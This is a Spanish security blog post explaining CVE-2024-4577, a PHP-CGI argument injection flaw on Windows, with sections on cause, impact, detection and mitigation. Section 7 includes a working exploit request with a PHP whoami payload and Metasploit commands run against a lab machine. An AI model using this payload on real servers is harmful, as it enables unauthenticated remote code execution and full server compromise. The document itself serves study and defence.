cd ~/blog

~/vulns/php-cgi-argument-injection-cve-2024-4577.md

PHP CGI Argument Injection (CVE-2024-4577)

rce 20-06-2026
PHPRCEWindows

~2 min de lectura


1. Descripción técnica del ataque

CVE-2024-4577 es una vulnerabilidad de inyección de argumentos en PHP-CGI sobre Windows que conduce a ejecución remota de código (RCE) no autenticada. Es, en esencia, un bypass de la antigua CVE-2012-1823.

El fallo está en cómo Apache (vía mod_cgi/php-cgi) pasa la query string a php-cgi.exe. En las versiones de Windows con ciertos locales (notablemente japonés (932), chino tradicional/simplificado), la conversión de caracteres ("Best-Fit") transforma el carácter guion suave 0xAD (soft hyphen) en un guion normal -. Esto permite que un atacante "inyecte" un guion donde PHP no lo esperaba, colando opciones de línea de comandos a php-cgi.exe como si fueran argumentos legítimos.

Abusando de las flags de configuración (-d), se habilita allow_url_include y se fuerza auto_prepend_file=php://input, de modo que el cuerpo de la petición se ejecuta como código PHP:

?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

2. Impacto de la vulnerabilidad

  • RCE no autenticado con los privilegios del servicio web (a menudo nt authority\system en XAMPP por defecto).
  • Compromiso total del servidor sin necesidad de credenciales.
  • Explotación trivial y fiable; afectó masivamente a instalaciones de XAMPP en Windows.

3. Historia y evolución

  • Descubierta por Orange Tsai (DEVCORE) y publicada en junio de 2024.
  • Parcheada en PHP 8.3.8, 8.2.20 y 8.1.29.
  • Fue explotada in-the-wild a los pocos días (botnets, ransomware). Es ya un clásico en CTFs de máquinas Windows con XAMPP.

4. Factores que la hacen posible

  1. PHP-CGI en Windows (configuración por defecto de XAMPP).
  2. Un locale vulnerable (japonés, chino…) que activa la conversión Best-Fit 0xAD → -.
  3. Versión de PHP previa al parche (< 8.3.8 / 8.2.20 / 8.1.29).
  4. (En el bypass general) PHP-CGI expuesto, aunque no esté configurado como cgi.force_redirect.

5. Detección

  • Identificar XAMPP/PHP-CGI en Windows y su versión y locale:
curl http://<ip>/xampp/.version
# 8.2.12
# LAN=日本語   → locale japonés ⇒ vulnerable
  • Comprobar la ejecución con un payload de prueba (ver §7).

6. Mitigación

  1. Actualizar PHP a 8.3.8 / 8.2.20 / 8.1.29 o superior.
  2. Dejar de usar la arquitectura PHP-CGI (preferir Mod-PHP, FastCGI/PHP-FPM).
  3. Reglas de mod_rewrite para bloquear el patrón de inyección (mitigación temporal recomendada por PHP).
  4. Evitar locales vulnerables si no son necesarios.

7. Ejemplo de explotación real

Máquina OMG de HMV. Verificación de RCE (devuelve el usuario del proceso):

GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Content-Length: 26

<?=`"whoami"`; exit();
HTTP/1.1 200 OK
...
nt authority\system

Shell con Metasploit:

msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 ... > set rhosts 192.168.1.12
msf6 ... > run
[+] The target is vulnerable. Apache
whoami
nt authority\system

8. Clasificación

  • Tipo: Argument/Parameter Injection → Remote Code Execution
  • CVE: CVE-2024-4577 (bypass de CVE-2012-1823)
  • CWE:
    • CWE-88 – Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
    • CWE-78 – OS Command Injection

9. Resumen

CVE-2024-4577 abusa de la conversión Best-Fit de caracteres en Windows (locales como el japonés) para inyectar argumentos a php-cgi.exe, habilitando auto_prepend_file=php://input y logrando RCE no autenticado (típicamente como SYSTEM en XAMPP). Es un bypass de CVE-2012-1823, descubierto por Orange Tsai en 2024. La defensa es actualizar PHP y abandonar PHP-CGI.

// relacionados